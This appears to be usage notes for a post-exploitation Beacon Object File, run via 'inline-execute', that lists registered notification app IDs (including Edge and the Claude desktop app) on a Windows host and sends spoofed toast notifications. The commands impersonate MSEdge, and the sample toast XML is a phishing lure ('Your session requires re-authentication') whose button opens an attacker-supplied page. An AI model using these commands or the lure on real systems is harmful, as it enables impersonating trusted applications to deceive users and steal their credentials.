inline-execute toastnotify.o go getaumid

[Notifications\Settings - HKCU]
  Microsoft.Windows.Explorer
  MSEdge
  com.squirrel.AnthropicClaude.claude
  ...
[Notifications\Settings - HKLM]
  ...
  com.squirrel.AnthropicClaude.claude
  ...

inline-execute toastnotify.o go sendtoast "MSEdge" "Title" "Notification body"

inline-execute toastnotify.o go custom "MSEdge" "<base64-encoded-xml>"

<toast>
  <visual>
    <binding template="ToastGeneric">
      <text>Action Required</text>
      <text>Your session requires re-authentication. Click to continue.</text>
    </binding>
  </visual>
  <actions>
    <action content="Continue"
            activationType="protocol"
            arguments="https://your-page-here.com"/>
  </actions>
</toast>